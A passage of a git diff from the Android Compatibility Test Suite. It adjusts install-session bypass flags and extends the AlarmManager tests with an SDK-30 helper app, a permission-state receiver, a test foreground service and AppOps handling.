+        } catch (IOException e) {
+            result = -2;
+        } catch (InterruptedException e) {
+            result = -3;
+        }
+        Assert.assertTrue("runCmd() fails with output\n" + childStdout, result == 0);
+
+        return childStdout;
+    }
+
+    // download the indicated file (within the base_url folder) to
+    // our desired destination/fileName.
+    // simple caching -- if file exists, we do not redownload
+    private void downloadFile(String fileName, File destDir) {
+        Runtime runtime = Runtime.getRuntime();
+        Process subproc;
+
+        File destination = new File(destDir, fileName);
+
+        // save bandwidth, also allows a user to manually preload files
+        LogUtil.CLog.d("Do we already have a copy of file " + destination.getPath());
+        if (destination.isFile()) {
+            LogUtil.CLog.d("Skipping re-download of file " + destination.getPath());
+            return;
+        }
+
+        String url = BASE_URL + fileName;
+        String cmd = "wget -O " + destination.getPath() + " " + url;
+        runCmd(cmd, destDir);
+    }
+
+}
+
diff --git a/libs/install/src/com/android/cts/install/lib/Install.java b/libs/install/src/com/android/cts/install/lib/Install.java
index 6d817ed..377e88a2 100644
--- a/libs/install/src/com/android/cts/install/lib/Install.java
+++ b/libs/install/src/com/android/cts/install/lib/Install.java
@@ -44,6 +44,8 @@
     private int mRollbackDataPolicy = 0;
     private int mSessionMode = PackageInstaller.SessionParams.MODE_FULL_INSTALL;
     private int mInstallFlags = 0;
+    private boolean mBypassAllowedApexUpdateCheck = true;
+    private boolean mBypassStagedInstallerCheck = true;
 
     private Install(boolean isMultiPackage, TestApp... testApps) {
         mIsMultiPackage = isMultiPackage;
@@ -145,6 +147,24 @@
     }
 
     /**
+     * Sets whether to call {@code pm bypass-allowed-apex-update-check true} when creating install
+     * session.
+     */
+    public Install setBypassAllowedApexUpdateCheck(boolean bypassAllowedApexUpdateCheck) {
+        mBypassAllowedApexUpdateCheck = bypassAllowedApexUpdateCheck;
+        return this;
+    }
+
+    /**
+     * Sets whether to call {@code pm bypass-staged-installer-check true} when creating install
+     * session.
+     */
+    public Install setBypassStangedInstallerCheck(boolean bypassStagedInstallerCheck) {
+        mBypassStagedInstallerCheck = bypassStagedInstallerCheck;
+        return this;
+    }
+
+    /**
      * Commits the install.
      *
      * @return the session id of the install session, if the session is successful.
@@ -198,10 +218,10 @@
      */
     private int createEmptyInstallSession(boolean multiPackage, boolean isApex)
             throws IOException {
-        if (mIsStaged || isApex) {
+        if ((mIsStaged || isApex) && mBypassStagedInstallerCheck) {
             SystemUtil.runShellCommandForNoOutput("pm bypass-staged-installer-check true");
         }
-        if (isApex) {
+        if (isApex && mBypassAllowedApexUpdateCheck) {
             SystemUtil.runShellCommandForNoOutput("pm bypass-allowed-apex-update-check true");
         }
         try {
@@ -223,10 +243,10 @@
             }
             return InstallUtils.getPackageInstaller().createSession(params);
         } finally {
-            if (mIsStaged || isApex) {
+            if ((mIsStaged || isApex) && mBypassStagedInstallerCheck) {
                 SystemUtil.runShellCommandForNoOutput("pm bypass-staged-installer-check false");
             }
-            if (isApex) {
+            if (isApex && mBypassAllowedApexUpdateCheck) {
                 SystemUtil.runShellCommandForNoOutput("pm bypass-allowed-apex-update-check false");
             }
         }
diff --git a/tests/AlarmManager/Android.bp b/tests/AlarmManager/Android.bp
index 2cae00e..55401ca 100644
--- a/tests/AlarmManager/Android.bp
+++ b/tests/AlarmManager/Android.bp
@@ -27,6 +27,8 @@
     srcs: [
         "src/**/*.java",
         "app/src/**/*.java",
+        "app30/src/**/*.java",
+        ":CtsAlarmUtils",
     ],
     test_suites: [
         "cts",
diff --git a/tests/AlarmManager/AndroidTest.xml b/tests/AlarmManager/AndroidTest.xml
index d4bbeae..a2f4521 100644
--- a/tests/AlarmManager/AndroidTest.xml
+++ b/tests/AlarmManager/AndroidTest.xml
@@ -25,6 +25,12 @@
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsAlarmManagerTestCases.apk" />
         <option name="test-file-name" value="AlarmTestApp.apk" />
+        <option name="test-file-name" value="AlarmTestApp30.apk" />
+    </target_preparer>
+
+    <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
+        <option name="run-command" value="settings put global activity_manager_constants background_settle_time=0" />
+        <option name="teardown-command" value="settings delete global activity_manager_constants" />
     </target_preparer>
 
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
diff --git a/tests/AlarmManager/app/AndroidManifest.xml b/tests/AlarmManager/app/AndroidManifest.xml
index 08b42f3..9725080 100644
--- a/tests/AlarmManager/app/AndroidManifest.xml
+++ b/tests/AlarmManager/app/AndroidManifest.xml
@@ -18,11 +18,23 @@
         package="android.alarmmanager.alarmtestapp.cts">
 
     <uses-permission android:name="android.permission.SCHEDULE_EXACT_ALARM"/>
+    <uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>
 
     <application>
         <receiver android:name=".TestAlarmScheduler"
                   android:exported="true" />
         <receiver android:name=".TestAlarmReceiver" />
+        <receiver android:name=".PermissionStateChangedReceiver"
+                  android:exported="true"
+                  android:enabled="false" >
+            <!-- Disabled by default so it doesn't cause resource churn or race in tests
+             where this is not required -->
+            <intent-filter>
+                <action android:name="android.app.action.SCHEDULE_EXACT_ALARM_PERMISSION_STATE_CHANGED" />
+            </intent-filter>
+        </receiver>
+        <service android:name=".TestService"
+            android:exported="false" />
     </application>
 
 </manifest>
\ No newline at end of file
diff --git a/tests/AlarmManager/app/src/android/alarmmanager/alarmtestapp/cts/PermissionStateChangedReceiver.java b/tests/AlarmManager/app/src/android/alarmmanager/alarmtestapp/cts/PermissionStateChangedReceiver.java
new file mode 100644
index 0000000..73562c0
--- /dev/null
+++ b/tests/AlarmManager/app/src/android/alarmmanager/alarmtestapp/cts/PermissionStateChangedReceiver.java
@@ -0,0 +1,70 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.alarmmanager.alarmtestapp.cts;
+
+import android.app.AlarmManager;
+import android.app.ForegroundServiceStartNotAllowedException;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.util.Log;
+
+/**
+ * Receives ACTION_SCHEDULE_EXACT_ALARM_PERMISSION_STATE_CHANGED, and starts and FGS.
+ * Send whether it was able to start the FGS to the main test app using a broadcast.
+ */
+public class PermissionStateChangedReceiver extends BroadcastReceiver {
+    private static final String TAG = PermissionStateChangedReceiver.class.getSimpleName();
+    private static final String PACKAGE_NAME = "android.alarmmanager.alarmtestapp.cts";
+
+    private static final String MAIN_CTS_PACKAGE = "android.alarmmanager.cts";
+
+    public static String ACTION_FGS_START_RESULT = PACKAGE_NAME + ".action.FGS_START_RESULT";
+    public static String EXTRA_FGS_START_RESULT = PACKAGE_NAME + ".extra.FGS_START_RESULT";
+
+    @Override
+    public void onReceive(Context context, Intent intent) {
+        Log.d(TAG, "Broadcast received: " + intent);
+        if (AlarmManager.ACTION_SCHEDULE_EXACT_ALARM_PERMISSION_STATE_CHANGED
+                .equals(intent.getAction())) {
+            tryStartingFgs(context);
+        }
+    }
+
+    private void tryStartingFgs(Context context) {
+        String result = "Unknown failure";
+        try {
+            // Try starting a foreground service.
+            Intent i = new Intent(context, TestService.class);
+            context.startForegroundService(i);
+
+            result = ""; // Indicates success
+        } catch (ForegroundServiceStartNotAllowedException e) {
+            result = "ForegroundServiceStartNotAllowedException was thrown";
+        } catch (Exception e) {
+            result = "Unexpected exception was thrown: " + e;
+        }
+
+        // Send the result broadcast to the main CTS package.
+        Intent response = new Intent(ACTION_FGS_START_RESULT);
+        response.setPackage(MAIN_CTS_PACKAGE);
+        response.putExtra(EXTRA_FGS_START_RESULT, result);
+
+        Log.d(TAG, "Sending response: " + result);
+        context.sendBroadcast(response);
+    }
+}
\ No newline at end of file
diff --git a/tests/AlarmManager/app/src/android/alarmmanager/alarmtestapp/cts/TestService.java b/tests/AlarmManager/app/src/android/alarmmanager/alarmtestapp/cts/TestService.java
new file mode 100644
index 0000000..16a5bf5
--- /dev/null
+++ b/tests/AlarmManager/app/src/android/alarmmanager/alarmtestapp/cts/TestService.java
@@ -0,0 +1,73 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.alarmmanager.alarmtestapp.cts;
+
+import android.app.Notification;
+import android.app.NotificationChannel;
+import android.app.NotificationManager;
+import android.app.Service;
+import android.content.Context;
+import android.content.Intent;
+import android.os.Handler;
+import android.os.IBinder;
+import android.os.Looper;
+
+/**
+ * An empty service, that makes itself as a foreground service, and stops itself.
+ */
+public class TestService extends Service {
+    private static final String CHANNEL_ID = "mychannel";
+
+    private static final int FGS_NOTIFICATION_ID = 1;
+
+    /** Create a notification channel. */
+    private static String getNotificationChannelId(Context context) {
+        NotificationManager nm = context.getSystemService(NotificationManager.class);
+
+        CharSequence name = "my_channel";
+        String description = "my channel";
+        int importance = NotificationManager.IMPORTANCE_DEFAULT;
+        NotificationChannel channel = new NotificationChannel(CHANNEL_ID, name, importance);
+        channel.setDescription(description);
+        // Register the channel with the system; you can't change the importance
+        // or other notification behaviors after this
+        nm.createNotificationChannel(channel);
+
+        return CHANNEL_ID;
+    }
+
+    @Override
+    public IBinder onBind(Intent intent) {
+        return null;
+    }
+
+    @Override
+    public int onStartCommand(Intent intent, int flags, int startId) {
+        // When this service is started, make it a foreground service, and stop itself.
+        Notification.Builder builder =
+                new Notification.Builder(this, getNotificationChannelId(this))
+                        .setSmallIcon(android.R.drawable.btn_star)
+                        .setContentTitle("My FGS")
+                        .setContentText("My FGS");
+        startForeground(FGS_NOTIFICATION_ID, builder.build());
+
+        new Handler(Looper.getMainLooper()).post(() -> {
+            stopSelf();
+        });
+
+        return Service.START_NOT_STICKY;
+    }
+}
\ No newline at end of file
diff --git a/hostsidetests/packagemanager/boottest/app/Android.bp b/tests/AlarmManager/app30/Android.bp
similarity index 84%
rename from hostsidetests/packagemanager/boottest/app/Android.bp
rename to tests/AlarmManager/app30/Android.bp
index d1a3271..36a8b5b 100644
--- a/hostsidetests/packagemanager/boottest/app/Android.bp
+++ b/tests/AlarmManager/app30/Android.bp
@@ -17,15 +17,16 @@
 }
 
 android_test_helper_app {
-    name: "CtsPackageManagerBootTestStubApp",
+    name: "AlarmTestApp30",
     defaults: ["cts_support_defaults"],
-    srcs: ["src/**/*.java"],
-    // Tag this module as a cts test artifact
+    sdk_version: "current",
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ],
-    sdk_version: "current",
-    manifest: "AndroidManifest.xml",
-    compile_multilib: "both",
-}
\ No newline at end of file
+    srcs: ["src/**/*.java"],
+    dex_preopt: {
+        enabled: false,
+    },
+}
diff --git a/tests/AlarmManager/app30/AndroidManifest.xml b/tests/AlarmManager/app30/AndroidManifest.xml
new file mode 100644
index 0000000..4a055a1
--- /dev/null
+++ b/tests/AlarmManager/app30/AndroidManifest.xml
@@ -0,0 +1,29 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2021 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+        package="android.alarmmanager.alarmtestapp.cts.sdk30">
+
+    <uses-sdk android:targetSdkVersion="30" />
+
+    <uses-permission android:name="android.permission.SCHEDULE_EXACT_ALARM"/>
+
+    <application>
+        <receiver android:name=".TestReceiver"
+                  android:exported="true" />
+    </application>
+
+</manifest>
\ No newline at end of file
diff --git a/tests/AlarmManager/app30/src/android/alarmmanager/alarmtestapp/cts/sdk30/TestReceiver.java b/tests/AlarmManager/app30/src/android/alarmmanager/alarmtestapp/cts/sdk30/TestReceiver.java
new file mode 100644
index 0000000..20793c4
--- /dev/null
+++ b/tests/AlarmManager/app30/src/android/alarmmanager/alarmtestapp/cts/sdk30/TestReceiver.java
@@ -0,0 +1,50 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.alarmmanager.alarmtestapp.cts.sdk30;
+
+import android.app.Activity;
+import android.app.AlarmManager;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.util.Log;
+
+/**
+ * This receiver is to be used to communicate with tests in {@link android.alarmmanager.cts}
+ */
+public class TestReceiver extends BroadcastReceiver {
+    private static final String TAG = TestReceiver.class.getSimpleName();
+    public static final String PACKAGE_NAME = "android.alarmmanager.alarmtestapp.cts.sdk30";
+
+    public static final String ACTION_GET_CAN_SCHEDULE_EXACT_ALARM =
+            PACKAGE_NAME + ".action.GET_CAN_SCHEDULE_EXACT_ALARM";
+
+    @Override
+    public void onReceive(Context context, Intent intent) {
+        final AlarmManager am = context.getSystemService(AlarmManager.class);
+        switch (intent.getAction()) {
+            case ACTION_GET_CAN_SCHEDULE_EXACT_ALARM:
+                final boolean result = am.canScheduleExactAlarms();
+                setResult(Activity.RESULT_OK, String.valueOf(result), null);
+                break;
+            default:
+                Log.e(TAG, "Unspecified action " + intent.getAction());
+                setResult(Activity.RESULT_CANCELED, null, null);
+                break;
+        }
+    }
+}
\ No newline at end of file
diff --git a/tests/AlarmManager/src/android/alarmmanager/cts/AlarmManagerDeviceConfigHelper.java b/tests/AlarmManager/src/android/alarmmanager/cts/AlarmManagerDeviceConfigHelper.java
deleted file mode 100644
index 66457a9..0000000
--- a/tests/AlarmManager/src/android/alarmmanager/cts/AlarmManagerDeviceConfigHelper.java
+++ /dev/null
@@ -1,96 +0,0 @@
-/*
- * Copyright (C) 2021 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.alarmmanager.cts;
-
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertTrue;
-
-import android.provider.DeviceConfig;
-
-import com.android.compatibility.common.util.PollingCheck;
-import com.android.compatibility.common.util.SystemUtil;
-
-import java.util.Collections;
-import java.util.HashMap;
-import java.util.Map;
-
-public class AlarmManagerDeviceConfigHelper {
-    private static final DeviceConfig.Properties EMPTY_PROPERTIES = new DeviceConfig.Properties(
-            DeviceConfig.NAMESPACE_ALARM_MANAGER, Collections.emptyMap());
-    private static final long UPDATE_TIMEOUT = 30_000;
-
-    private volatile Map<String, String> mCommittedMap = Collections.emptyMap();
-    private final Map<String, String> mPropertyMap = new HashMap<>();
-
-    AlarmManagerDeviceConfigHelper with(String key, long value) {
-        mPropertyMap.put(key, Long.toString(value));
-        return this;
-    }
-
-    AlarmManagerDeviceConfigHelper with(String key, int value) {
-        mPropertyMap.put(key, Integer.toString(value));
-        return this;
-    }
-
-    AlarmManagerDeviceConfigHelper with(String key, boolean value) {
-        mPropertyMap.put(key, Boolean.toString(value));
-        return this;
-    }
-
-    AlarmManagerDeviceConfigHelper with(String key, String value) {
-        mPropertyMap.put(key, value);
-        return this;
-    }
-
-    AlarmManagerDeviceConfigHelper without(String key) {
-        mPropertyMap.remove(key);
-        return this;
-    }
-
-    private static int getCurrentConfigVersion() {
-        final String output = SystemUtil.runShellCommand("cmd alarm get-config-version").trim();
-        return Integer.parseInt(output);
-    }
-
-    private static void commitAndAwaitPropagation(DeviceConfig.Properties propertiesToSet) {
-        final int currentVersion = getCurrentConfigVersion();
-        SystemUtil.runWithShellPermissionIdentity(
-                () -> assertTrue(DeviceConfig.setProperties(propertiesToSet)));
-        PollingCheck.waitFor(UPDATE_TIMEOUT, () -> (getCurrentConfigVersion() > currentVersion),
-                "Could not update config within " + UPDATE_TIMEOUT + "ms. Current version: "
-                        + currentVersion);
-    }
-
-    void commitAndAwaitPropagation() {
-        if (mPropertyMap.equals(mCommittedMap)) {
-            // This will not cause any change. We assume the initial set of properties is empty.
-            return;
-        }
-        commitAndAwaitPropagation(
-                new DeviceConfig.Properties(DeviceConfig.NAMESPACE_ALARM_MANAGER, mPropertyMap));
-        mCommittedMap = Collections.unmodifiableMap(new HashMap<>(mPropertyMap));
-    }
-
-    void deleteAll() {
-        if (mCommittedMap.isEmpty()) {
-            // If nothing got committed, then this is redundant.
-            return;
-        }
-        commitAndAwaitPropagation(EMPTY_PROPERTIES);
-        mCommittedMap = Collections.emptyMap();
-    }
-}
diff --git a/tests/AlarmManager/src/android/alarmmanager/cts/AppStandbyTests.java b/tests/AlarmManager/src/android/alarmmanager/cts/AppStandbyTests.java
index 07c93c8..faa6ea1 100644
--- a/tests/AlarmManager/src/android/alarmmanager/cts/AppStandbyTests.java
+++ b/tests/AlarmManager/src/android/alarmmanager/cts/AppStandbyTests.java
@@ -24,6 +24,7 @@
 
 import android.alarmmanager.alarmtestapp.cts.TestAlarmReceiver;
 import android.alarmmanager.alarmtestapp.cts.TestAlarmScheduler;
+import android.alarmmanager.util.AlarmManagerDeviceConfigHelper;
 import android.app.Activity;
 import android.content.BroadcastReceiver;
 import android.content.ComponentName;
@@ -135,7 +136,6 @@
         mAlarmScheduler = new ComponentName(TEST_APP_PACKAGE, TEST_APP_RECEIVER);
         mAlarmCount = new AtomicInteger(0);
         updateAlarmManagerConstants();
-        updateBackgroundSettleTime();
         setBatteryCharging(false);
         final IntentFilter intentFilter = new IntentFilter();
         intentFilter.addAction(TestAlarmReceiver.ACTION_REPORT_ALARM_EXPIRED);
@@ -243,8 +243,7 @@
     public void tearDown() throws Exception {
         setPowerWhitelisted(false);
         setBatteryCharging(true);
-        resetBackgroundSettleTime();
-        mConfigHelper.deleteAll();
+        mConfigHelper.restoreAll();
         final Intent cancelAlarmsIntent = new Intent(TestAlarmScheduler.ACTION_CANCEL_ALL_ALARMS);
         cancelAlarmsIntent.setComponent(mAlarmScheduler);
         sContext.sendBroadcast(cancelAlarmsIntent);
@@ -271,15 +270,6 @@
         mConfigHelper.commitAndAwaitPropagation();
     }
 
-    private void updateBackgroundSettleTime() throws IOException {
-        sUiDevice.executeShellCommand(
-                "settings put global activity_manager_constants background_settle_time=0");
-    }
-
-    private void resetBackgroundSettleTime() throws IOException {
-        sUiDevice.executeShellCommand("settings delete global activity_manager_constants");
-    }
-
     private void setPowerWhitelisted(boolean whitelist) throws IOException {
         final StringBuffer cmd = new StringBuffer("cmd deviceidle whitelist ");
         cmd.append(whitelist ? "+" : "-");
diff --git a/tests/AlarmManager/src/android/alarmmanager/cts/BackgroundRestrictedAlarmsTest.java b/tests/AlarmManager/src/android/alarmmanager/cts/BackgroundRestrictedAlarmsTest.java
index 23a1ede..bcbb3a3 100644
--- a/tests/AlarmManager/src/android/alarmmanager/cts/BackgroundRestrictedAlarmsTest.java
+++ b/tests/AlarmManager/src/android/alarmmanager/cts/BackgroundRestrictedAlarmsTest.java
@@ -21,6 +21,7 @@
 
 import android.alarmmanager.alarmtestapp.cts.TestAlarmReceiver;
 import android.alarmmanager.alarmtestapp.cts.TestAlarmScheduler;
+import android.alarmmanager.util.AlarmManagerDeviceConfigHelper;
 import android.app.AlarmManager;
 import android.content.BroadcastReceiver;
 import android.content.ComponentName;
@@ -85,7 +86,6 @@
         mAlarmScheduler = new ComponentName(TEST_APP_PACKAGE, TEST_APP_RECEIVER);
         mAlarmCount = 0;
         updateAlarmManagerConstants();
-        updateBackgroundSettleTime();
         setAppOpsMode(APP_OP_MODE_IGNORED);
         makeUidIdle();
         final IntentFilter intentFilter = new IntentFilter();
@@ -151,7 +151,6 @@
     @After
     public void tearDown() throws Exception {
         deleteAlarmManagerConstants();
-        resetBackgroundSettleTime();
         setAppOpsMode(APP_OP_MODE_ALLOWED);
         // Cancel any leftover alarms
         final Intent cancelAlarmsIntent = new Intent(TestAlarmScheduler.ACTION_CANCEL_ALL_ALARMS);
@@ -170,7 +169,7 @@
     }
 
     private void deleteAlarmManagerConstants() {
-        mConfigHelper.deleteAll();
+        mConfigHelper.restoreAll();
     }
 
     private void setAppStandbyBucket(String bucket) throws IOException {
@@ -187,15 +186,6 @@
         mUiDevice.executeShellCommand(commandBuilder.toString());
     }
 
-    private void updateBackgroundSettleTime() throws IOException {
-        mUiDevice.executeShellCommand(
-                "settings put global activity_manager_constants background_settle_time=0");
-    }
-
-    private void resetBackgroundSettleTime() throws IOException {
-        mUiDevice.executeShellCommand("settings delete global activity_manager_constants");
-    }
-
     private void makeUidIdle() throws IOException {
         mUiDevice.executeShellCommand("cmd devideidle tempwhitelist -r " + TEST_APP_PACKAGE);
         mUiDevice.executeShellCommand("am make-uid-idle " + TEST_APP_PACKAGE);
diff --git a/tests/AlarmManager/src/android/alarmmanager/cts/BasicApiTests.java b/tests/AlarmManager/src/android/alarmmanager/cts/BasicApiTests.java
index 5833609..7b90b69 100644
--- a/tests/AlarmManager/src/android/alarmmanager/cts/BasicApiTests.java
+++ b/tests/AlarmManager/src/android/alarmmanager/cts/BasicApiTests.java
@@ -24,6 +24,7 @@
 import static org.junit.Assert.fail;
 import static org.junit.Assume.assumeTrue;
 
+import android.alarmmanager.util.AlarmManagerDeviceConfigHelper;
 import android.app.AlarmManager;
 import android.app.AlarmManager.AlarmClockInfo;
 import android.app.PendingIntent;
@@ -123,7 +124,7 @@
 
     @After
     public void tearDown() throws Exception {
-        mDeviceConfigHelper.deleteAll();
+        mDeviceConfigHelper.restoreAll();
         mContext.unregisterReceiver(mMockAlarmReceiver);
         mContext.unregisterReceiver(mMockAlarmReceiver2);
         toggleIdleMode(false);
diff --git a/tests/AlarmManager/src/android/alarmmanager/cts/ExactAlarmsTest.java b/tests/AlarmManager/src/android/alarmmanager/cts/ExactAlarmsTest.java
index b82cc48..a556c4e 100644
--- a/tests/AlarmManager/src/android/alarmmanager/cts/ExactAlarmsTest.java
+++ b/tests/AlarmManager/src/android/alarmmanager/cts/ExactAlarmsTest.java
@@ -16,7 +16,6 @@
 
 package android.alarmmanager.cts;
 
-import static android.alarmmanager.cts.AppStandbyTests.TEST_APP_PACKAGE;
 import static android.alarmmanager.cts.AppStandbyTests.setTestAppStandbyBucket;
 import static android.app.usage.UsageStatsManager.STANDBY_BUCKET_ACTIVE;
 import static android.app.usage.UsageStatsManager.STANDBY_BUCKET_WORKING_SET;
@@ -27,10 +26,16 @@
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assume.assumeFalse;
 
+import android.alarmmanager.alarmtestapp.cts.sdk30.TestReceiver;
+import android.alarmmanager.util.AlarmManagerDeviceConfigHelper;
+import android.app.Activity;
+import android.alarmmanager.alarmtestapp.cts.PermissionStateChangedReceiver;
 import android.app.AlarmManager;
 import android.app.AppOpsManager;
 import android.app.PendingIntent;
+import android.app.compat.CompatChanges;
 import android.content.BroadcastReceiver;
+import android.content.ComponentName;
 import android.content.Context;
 import android.content.Intent;
 import android.content.IntentFilter;
@@ -44,9 +49,6 @@
 import android.provider.Settings;
 import android.util.Log;
 
-import androidx.test.InstrumentationRegistry;
-import androidx.test.runner.AndroidJUnit4;
-
 import com.android.compatibility.common.util.AppOpsUtils;
 import com.android.compatibility.common.util.AppStandbyUtils;
 import com.android.compatibility.common.util.FeatureUtil;
@@ -54,6 +56,9 @@
 import com.android.compatibility.common.util.SystemUtil;
 import com.android.compatibility.common.util.TestUtils;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.After;
 import org.junit.Before;
 import org.junit.Ignore;
@@ -66,6 +71,9 @@
 import java.util.Random;
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
+import java.util.concurrent.atomic.AtomicBoolean;
+import java.util.concurrent.atomic.AtomicInteger;
+import java.util.concurrent.atomic.AtomicReference;
 
 @AppModeFull
 @RunWith(AndroidJUnit4.class)
@@ -96,10 +104,16 @@
      */
     private static final long DEFAULT_WAIT_FOR_SUCCESS = 30_000;
 
+    private static final String TEST_APP_PACKAGE = "android.alarmmanager.alarmtestapp.cts";
+
     private static final Context sContext = InstrumentationRegistry.getTargetContext();
     private final AlarmManager mAlarmManager = sContext.getSystemService(AlarmManager.class);
+    private final AppOpsManager mAppOpsManager = sContext.getSystemService(AppOpsManager.class);
     private final PowerWhitelistManager mWhitelistManager = sContext.getSystemService(
             PowerWhitelistManager.class);
+    private final PackageManager mPackageManager = sContext.getPackageManager();
+    private final ComponentName mPermissionChangeReceiver = new ComponentName(TEST_APP_PACKAGE,
+            PermissionStateChangedReceiver.class.getName());
 
     private final AlarmManagerDeviceConfigHelper mDeviceConfigHelper =
             new AlarmManagerDeviceConfigHelper();
@@ -118,6 +132,7 @@
     @After
     public void resetAppOp() throws IOException {
         AppOpsUtils.reset(sContext.getOpPackageName());
+        AppOpsUtils.reset(TEST_APP_PACKAGE);
     }
 
     @Before
@@ -139,28 +154,28 @@
 
     @Before
     public void enableChange() {
-        SystemUtil.runShellCommand("am compat enable --no-kill REQUIRE_EXACT_ALARM_PERMISSION "
-                + sContext.getOpPackageName(), output -> output.contains("Enabled"));
-    }
-
-    private static void disableChange() {
-        SystemUtil.runShellCommand("am compat disable --no-kill REQUIRE_EXACT_ALARM_PERMISSION "
-                + sContext.getOpPackageName(), output -> output.contains("Disabled"));
+        if (!CompatChanges.isChangeEnabled(AlarmManager.REQUIRE_EXACT_ALARM_PERMISSION)) {
+            SystemUtil.runShellCommand("am compat enable --no-kill REQUIRE_EXACT_ALARM_PERMISSION "
+                    + sContext.getOpPackageName(), output -> output.contains("Enabled"));
+        }
     }
 
     @After
     public void resetChanges() {
         // This is needed because compat persists the overrides beyond package uninstall
         SystemUtil.runShellCommand("am compat reset --no-kill REQUIRE_EXACT_ALARM_PERMISSION "
-                + sContext.getOpPackageName(), output -> output.contains("Reset"));
+                + sContext.getOpPackageName());
     }
 
     @After
     public void removeFromWhitelists() {
+        removeFromWhitelists(sContext.getOpPackageName());
+    }
+
+    private void removeFromWhitelists(String packageName) {
         SystemUtil.runWithShellPermissionIdentity(
-                () -> mWhitelistManager.removeFromWhitelist(sContext.getOpPackageName()));
-        SystemUtil.runShellCommand("cmd deviceidle tempwhitelist -r "
-                + sContext.getOpPackageName());
+                () -> mWhitelistManager.removeFromWhitelist(packageName));
+        SystemUtil.runShellCommand("cmd deviceidle tempwhitelist -r " + packageName);
     }
 
     @After
@@ -170,13 +185,43 @@
     }
 
     @After
-    public void restoreAlarmManagerConstants() {
-        mDeviceConfigHelper.deleteAll();
+    public void restorePermissionReceiverState() {
+        SystemUtil.runWithShellPermissionIdentity(
+                () -> mPackageManager.setComponentEnabledSetting(mPermissionChangeReceiver,
+                        PackageManager.COMPONENT_ENABLED_STATE_DEFAULT,
+                        PackageManager.DONT_KILL_APP));
     }
 
-    private static void revokeAppOp() throws IOException {
-        AppOpsUtils.setOpMode(sContext.getOpPackageName(), AppOpsManager.OPSTR_SCHEDULE_EXACT_ALARM,
-                AppOpsManager.MODE_IGNORED);
+    @After
+    public void restoreAlarmManagerConstants() {
+        mDeviceConfigHelper.restoreAll();
+    }
+
+    private void revokeAppOp() {
+        revokeAppOp(sContext.getOpPackageName());
+    }
+
+    private void revokeAppOp(String packageName) {
+        setAppOp(packageName, AppOpsManager.MODE_IGNORED);
+    }
+
+    private void setAppOp(String packageName, int mode) {
+        final int uid = getPackageUid(packageName);
+
+        SystemUtil.runWithShellPermissionIdentity(
+                () -> {
+                    mAppOpsManager.setUidMode(AppOpsManager.OPSTR_SCHEDULE_EXACT_ALARM, uid, mode);
+                    return null;
+                }
+        );
+    }
+
+    private int getPackageUid(String packageName) {
+        try {
+            return sContext.getPackageManager().getPackageUid(packageName, 0);
+        } catch (Exception e) {
+            throw new RuntimeException(e);
+        }
     }
 
     private static PendingIntent getAlarmSender(int id, boolean quotaed) {
@@ -224,8 +269,7 @@
 
     @Test
     public void hasPermissionWhenAllowed() throws IOException {
-        AppOpsUtils.setOpMode(sContext.getOpPackageName(), AppOpsManager.OPSTR_SCHEDULE_EXACT_ALARM,
-                AppOpsManager.MODE_ALLOWED);
+        setAppOp(sContext.getOpPackageName(), AppOpsManager.MODE_ALLOWED);
         assertTrue(mAlarmManager.canScheduleExactAlarms());
 
         mDeviceConfigHelper.with("exact_alarm_deny_list", sContext.getOpPackageName())
@@ -234,10 +278,29 @@
     }
 
     @Test
